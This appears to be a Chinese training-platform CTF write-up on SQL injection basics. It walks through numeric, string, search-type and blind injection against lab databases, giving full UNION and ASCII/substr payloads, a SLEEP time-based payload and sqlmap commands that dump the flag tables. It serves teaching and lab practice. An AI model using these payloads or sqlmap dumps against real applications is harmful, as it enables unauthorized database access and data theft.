零号培训平台课程-1、SQL注入基础
课程
- 一、数字型注入
- 二、字符型注入
- 三、搜索型注入
- 四、盲注型
需要知道的知识:
mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注入中可以用到的几个表。
SCHEMATA :存储数据库名的,
——>关键字段:SCHEMA_NAME,表示数据库名称
TABLES :存储表名的
——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
——>关键字段:TABLE_NAME表示所属的表的名称
COLUMNS :存储字段名的
——>关键字段:COLUMN_NAME表示字段名
一、数字型注入
1、判断注入存在:and 1=1 and 1=2返回不同
2、猜测数据库
获取所有数据库名:
1 and 1=2 union select group_concat(schema_name) from information_schema.schemata;
information_schema,lession1,test
3、猜测数据库表:
获取"lession1"数据库的所有表名:
1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=“lession1”
4、猜字段
1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema="lession1"and table_name=“flag”
5、获取flag :
1 and 1=2 union select group_concat(flag) from lession1.flag
得到flag:3347aeb7b48b6d8ca56025a3fc2fab9a
输入到输入框:
点击提交,通过就到了下一关:
二、字符型注入
1、判断注入存在: amin’and"1’=‘1 amin’and’1’=2返回不同
2、猜测数据库
admin1’ union select group_concat(schema_name) from information_schema.schemata%23;
得到information_schema,lession2,test
3、猜测数据库表︰
admin1%27union select group_concat(table_name) from information_schema.tables where table_schema=“lession2”%23
得到flag表
4、猜字段
admin2%27 union select group_concat(table_name) from information_schema.tables where table_schema=“lession2” and table_name=“flag”%23
字段名也叫flag
5、获取flag :
admin2%27union select group_concat(flag)%20from%20lession2.flag%23
得到flag:d467475c0b0ac1eb2a2d58a0bf204e0e
三、搜索型注入
1、判断注入存在:
admin%25%27and%201=2
admin%25%27and%201=1 --+返回不同
2、猜测数据库
admin1%25%27union select group_concat(schema_name) from information_schema.schemata%23
得到information_schema,lession3,test
3、猜测数据库表︰
admin1%25%27union select group_concat(table_name) from information_schema.tables where table_schema=“lession3”%23
得到flag表
4、猜字段
admin2%25%27union select group_concat(table_name) from information_schema.tables where table_schema=“lession3” and table_name=“flag”%23
字段名也叫flag
5、获取flag :
admin2%25%27union%20select%20group_concat(flag)%20from%20lession3.flag%23
得到flag:21fb2c6c87d00ae12f0fce84d64cf511
四、盲注型
1.二分计算数据库长度
id=1 and (select length(group_concat(schema_name)) from information_schema.schemata)=32
返回结果正常,证明数据库的长度
2.二分查找数据库名
id=1 and ascii(substr((select group_concat(schema_name) from information_schema.schemata),1,1))>105
返回结果错误,证明数据库名的第一个字母的ASCII码值没有大于105
3.二分查找表
id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="lession4"),1,1)) >105
返回结果错误,证明表名的第一个字母的ASCII码值没有大于105
4.二分查找表字段名
id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="lession4" and table_name="flag"),1,1))>105
返回结果错误,证明字段名的第一个字母的ASCII码值没有大于105
5.二分查找获得数据
id=1 and ascii(substr((select group_concat(flag) from lession4.flag),1,1))>105
返回结果错误,证明flag的第一个字母的ASCII码值没有大于105
6.盲注推荐使用工具-sqlmap
–batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
–dbs 目标服务器中有什么数据库,常用,直接用–dbs
–current-user 当前用户,常用,直接用–current-user
–current-db 当前数据库,常用,直接用–current-db
–tables 目标数据库有什么表,常用,直接用–tables
–columns 目标表中有什么列,常用,直接用–colums
–schema 目标数据库数据库系统管理模式。
–search 搜索列、表和/或数据库名称。
-D DB 指定从某个数据库查询数据,常用。例: -D admindb
-T TBL 指定从某个表查询数据,常用。例: -T admintable
-C COL 指定从某个列查询数据,常用。例: -C username
得到完整的请求数据包:
保存为linghao.txt
py -2 sqlmap.py -r linghao.txt --batch
发现参数id有基于时间的盲注,MySQL >= 5.0.12和基于时间的盲注,
有效载荷:id=1 AND SLEEP(5)
后端数据库是MySQL,web服务器操作系统:Linux Ubuntu,web应用技术:PHP 5.5.9, Nginx 1.16.1
py -2 sqlmap.py -r linghao.txt --dbs
Sqlmap也是通过ASCII码一个一个字母盲注出来的,一共有3个数据,找到目标数据库lession4
py -2 sqlmap.py -r linghao.txt -D lession4 --tables
找到数据表名flag
py -2 sqlmap.py -r linghao.txt -D lession4 -T flag --dump
![在这里插入图片描述](https://img-blog.csdnimg.cn/8e19619fc03640a8b95591b91ff18277.png)
得到flag:0dc8b42164407fc640c86b48d5ec9bf0
提交flag:
得到最终flag:3347aeb7b48b6d8ca56025a3fc2fab9ad467475c0b0ac1eb2a2d58a0bf204e0e21fb2c6c87d00ae12f0fce84d64cf5110dc8b42164407fc640c86b48d5ec9bf0
零号培训平台课程-1、SQL注入基础相关推荐
- SQL注入 基础概述及相关知识
SQL注入 基础概述及相关知识 SQL注入概述 SQL注入攻击简介 SQL注入攻击原理 SQL注入攻击来源 SQL注入攻击主要特点 SQL注入攻击危害 SQL注入攻击 SQL注入攻击基础概述 SQL注 ...
- SQL注入基础原理与案例(详细总结)
SQL注入基础原理与案例 一.前言 二.漏洞概述及危害 1.漏洞概述 2.漏洞危害 3.漏洞防范 三.SQL注入 1.SQL注入方式 (1)信息收集 (2)数据注入 (3)高权限注入 2.判断是否存在 ...
- 米斯特白帽培训讲义 漏洞篇 SQL 注入
米斯特白帽培训讲义 漏洞篇 SQL 注入 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 原理与危害 SQL 注入就是指,在输入的字符串中注入 SQL 语句,如果应用相信用户 ...
- 学一点SQL注入基础
文章目录 学一点SQL注入基础 思维导图 注入原理 MySQL三种注释 MySQL三种注入方式 联合查询注入 确定字段数 常规步骤 sqlmap的使用 跨库注入 MySQL注入获取最高权限-文件操作 ...
- SQL注入基础--判断闭合形式
这里写自定义目录标题 ** **SQL注入基础--判断闭合形式** ## 1.整形闭合 2.单引号闭合 3.双引号闭合 总结 ** SQL注入基础–判断闭合形式 SQL语句的闭合形式大概如下几种: S ...
- 渗透测试之SQL注入基础
渗透测试之SQL注入基础 SQL注入类型 按照数据类型类型来分类 按照执行效果来分类(页面回显效果) 按照数据提交的方式来分类 判断注入类型的方法 MySQL注入基础 联合查询注入 布尔注入 时间盲注 ...
- sql注入基础原理(SQL injection)
sql注入基础原理 文章目录 sql注入基础原理 Sql注入简介 案例表 产生sql注入的写法 python 相关 java 相关 php 相关 sql注入相关技术 B: 基于布尔的盲注特征 案例 总 ...
- Wmm的学习日记(SQL注入基础)
这周听了一节三个半小时的网课,有关sql注入,消除了我对sql注入的"恐惧",也算是浅浅入了下门吧,虽然学会了点皮毛,但是还是成就感满满,哈哈哈,从0到0.001也是一件值得庆祝的 ...
- SQL注入基础知识总结
SQL注入-基础知识总结 1.注释符 1.1.Mysql中注释符有三种 1.2.总结 2.information_schema库 2.1.了解information_schema库 2.2.常用注入语 ...
最新文章
- rejection from MPhil in Technology policy at cambridge
- jQuery中的for循环var与let区别
- 提高表格可读性的一些技巧
- python作业题目用户输入行数、输出倒的等腰三角形_智慧职教云课堂APPPython程序设计(常州工业职业技术学院)作业期末考试答案...
- python常用类型的内置函数列表
- 美国教授描述未来学校,将颠覆现有教育模式
- 多条实体类数据怎么接受_解决并发问题,数据库常用的两把锁!
- 设备的开发【WP7学习札记之五】
- FFMPEG发布RTSP流
- 【Spring-tx】关于spring事务的思考
- 元宇宙价值链解读:元宇宙现实体系映射对未来的影响
- VTuber拍摄幕后:操作员、动捕设备、软件支撑
- 计算机cad标题栏快捷键,AutoCAD快捷键和工具栏及菜单栏大集合
- python:实现培根密码算法(附完整源码)
- 石家庄地铁查询系统开发进度
- 约克大学计算机语言班,约克大学语言班申请
- 华为鸿蒙的三大遗憾和一个好消息
- 【论文学习】STN —— Spatial Transformer Networks
- linux删除pdf密码
- python数据分析考试题库_Python数据分析与数据可视化章节考试题库
热门文章
- 差动驱动机器人轨迹-CoCube
- 小牛电动增收不增利:年度净利润下滑11%,外部竞争愈发激烈
- 推荐最适合IT人自学的视频网站和社区网站
- 勇敢者游戏(捡石子问题)
- java电商网站源码带前后台
- 81章 老子1章到_老子道德经全文翻译(全81章)之一
- linux硬盘盘符更改,linux更改emc磁盘盘符
- 如何从Facebook组中删除帖子
- 1992年的鹿鼎记台词,嘛的,哥20年后才看到
- 在计算机内部 g的asc,在计算机内部,大写字母“G”的ASCⅡ码为“1000111”,大写字母“K”的ASCⅡ码为()。...